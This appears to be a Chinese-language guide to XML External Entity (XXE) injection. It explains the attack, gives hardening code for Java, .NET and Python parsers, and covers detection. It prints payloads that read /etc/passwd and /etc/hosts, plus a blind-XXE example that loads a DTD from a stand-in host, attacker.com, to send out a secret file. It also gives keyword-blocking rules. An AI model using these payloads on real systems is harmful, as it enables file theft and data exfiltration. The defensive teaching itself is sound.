XML外部实体注入(XXE)是一种严重的安全漏洞,攻击者利用XML解析器处理外部实体的功能来读取服务器内部文件、执行远程请求(SSRF)、扫描内网端口或发起拒绝服务攻击。以下是详细解释和修复方案:
XXE 攻击原理
-
外部实体声明
XML允许定义实体(变量),实体可引用外部资源:
xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
-
实体注入
攻击者将恶意实体注入XML输入:
xml
<data>&xxe;</data>
解析器会将
&xxe;
替换为/etc/passwd
文件内容。 -
攻击类型
-
读取本地文件(
file://
) -
发起HTTP请求(
http://
)→ SSRF -
拒绝服务(Billion Laughs 攻击)
-
端口扫描(结合SSRF)
-
修复方案
1. 禁用外部实体处理(根本方案)
Java (SAX/DOM)
java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
.NET (XmlReader)
csharp
var settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null // 禁用解析器
};
Python (lxml)
python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
2. 使用安全的XML库
-
优先选择默认禁用外部实体的库:
-
Java:
OWASP Java Encoder
、jackson-dataformat-xml
-
Python:
defusedxml
(替代标准库)python
from defusedxml.ElementTree import parse parse(xml_file)
-
3. 输入验证与过滤
-
过滤用户输入的
<!DOCTYPE>
和<!ENTITY>
声明 -
使用正则表达式拦截敏感关键字(临时缓解):
regex
<!ENTITY.*?SYSTEM|file:|http:
4. 输出编码
避免直接输出XML解析结果,使用HTML编码:
java
String safeOutput = Encode.forHtmlContent(rawXMLOutput);
5. 服务器层防御
-
WAF规则 :拦截包含
ENTITY
、SYSTEM
等关键词的请求 -
文件权限:限制应用账户对系统文件的访问权限
XXE 检测方法
-
手动测试
提交测试Payload:
xml
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hosts"> ]> <data>&xxe;</data>
-
自动化工具
-
OWASP ZAP、Burp Suite Professional(主动扫描)
-
XXEinjector(自动化利用工具)
-
额外注意事项
-
依赖库风险:即使代码安全,底层库(如Log4j 1.x)可能引入XXE
-
非文件协议攻击 :防范
php://filter
、gopher://
等协议 -
盲XXE:通过DNS查询或HTTP请求外带数据(需配置外部DTD)
xml
<!ENTITY % payload SYSTEM "file:///secret"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;
修复后验证
-
使用单元测试覆盖XXE攻击场景
-
定期进行安全扫描(SAST/DAST)
-
渗透测试:尝试读取
/etc/passwd
或触发DNS查询
关键原则:始终禁用DTD和外部实体解析。大多数现代XML解析器提供了明确的开关选项,启用安全配置是防御XXE的核心。